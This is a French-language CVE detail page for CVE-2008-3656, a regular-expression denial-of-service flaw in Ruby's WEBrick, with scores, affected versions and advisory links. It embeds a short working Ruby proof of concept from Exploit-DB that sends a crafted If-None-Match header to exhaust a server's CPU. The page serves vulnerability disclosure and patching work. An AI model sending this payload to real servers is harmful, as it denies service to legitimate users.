CVE-2008-3656 : Détail

CVE-2008-3656

10.08%V3
Network
2008-08-12
23h00 +00:00
2018-10-11
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Algorithmic complexity vulnerability in the WEBrick::HTTPUtils.split_header_value function in WEBrick::HTTP::DefaultFileHandler in WEBrick in Ruby 1.8.5 and earlier, 1.8.6 through 1.8.6-p286, 1.8.7 through 1.8.7-p71, and 1.9 through r18423 allows context-dependent attackers to cause a denial of service (CPU consumption) via a crafted HTTP request that is processed by a backtracking regular expression.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 32222

Date de publication : 2008-08-10 22h00 +00:00
Auteur : Keita Yamaguchi
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/30644/info Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service: - Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations. - An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users. - A flaw in 'dl' can allow attackers to call unauthorized functions. Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions. These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. #-- Exploitable Server -- # require 'webrick' # WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start #-- Attack -- require 'net/http' res = Net::HTTP.start("localhost", 2000) { |http| req = Net::HTTP::Get.new("/passwd") req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100 http.request(req) } p res

Products Mentioned

Configuraton 0

Ruby-lang>>Ruby >> Version To (including) 1.8.5

Ruby-lang>>Ruby >> Version 1.6.8

    Ruby-lang>>Ruby >> Version 1.8.0

    Ruby-lang>>Ruby >> Version 1.8.1

    Ruby-lang>>Ruby >> Version 1.8.1

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.4

      Ruby-lang>>Ruby >> Version 1.8.4

      Ruby-lang>>Ruby >> Version 1.8.4

      Ruby-lang>>Ruby >> Version 1.8.4

        Ruby-lang>>Ruby >> Version 1.8.5

          Ruby-lang>>Ruby >> Version 1.8.5

            Ruby-lang>>Ruby >> Version 1.8.5

              Ruby-lang>>Ruby >> Version 1.8.5

                Ruby-lang>>Ruby >> Version 1.8.5

                  Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.6

                    Ruby-lang>>Ruby >> Version 1.8.6

                      Ruby-lang>>Ruby >> Version 1.8.6

                        Ruby-lang>>Ruby >> Version 1.8.6

                        Ruby-lang>>Ruby >> Version 1.8.6

                        Ruby-lang>>Ruby >> Version 1.8.6

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.9.0

                        Références

                        http://secunia.com/advisories/31430
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://secunia.com/advisories/31697
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        https://usn.ubuntu.com/651-1/
                        Tags : vendor-advisory, x_refsource_UBUNTU
                        http://support.apple.com/kb/HT3549
                        Tags : x_refsource_CONFIRM
                        http://www.debian.org/security/2008/dsa-1652
                        Tags : vendor-advisory, x_refsource_DEBIAN
                        http://secunia.com/advisories/35074
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://www.debian.org/security/2008/dsa-1651
                        Tags : vendor-advisory, x_refsource_DEBIAN
                        http://www.securityfocus.com/bid/30644
                        Tags : vdb-entry, x_refsource_BID
                        http://www.redhat.com/support/errata/RHSA-2008-0897.html
                        Tags : vendor-advisory, x_refsource_REDHAT
                        http://secunia.com/advisories/32219
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://www.securitytracker.com/id?1020654
                        Tags : vdb-entry, x_refsource_SECTRACK
                        http://www.us-cert.gov/cas/techalerts/TA09-133A.html
                        Tags : third-party-advisory, x_refsource_CERT
                        http://secunia.com/advisories/32255
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://www.vupen.com/english/advisories/2009/1297
                        Tags : vdb-entry, x_refsource_VUPEN
                        http://secunia.com/advisories/32371
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://secunia.com/advisories/32165
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://security.gentoo.org/glsa/glsa-200812-17.xml
                        Tags : vendor-advisory, x_refsource_GENTOO
                        http://secunia.com/advisories/33178
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://www.vupen.com/english/advisories/2008/2334
                        Tags : vdb-entry, x_refsource_VUPEN
                        http://secunia.com/advisories/32256
                        Tags : third-party-advisory, x_refsource_SECUNIA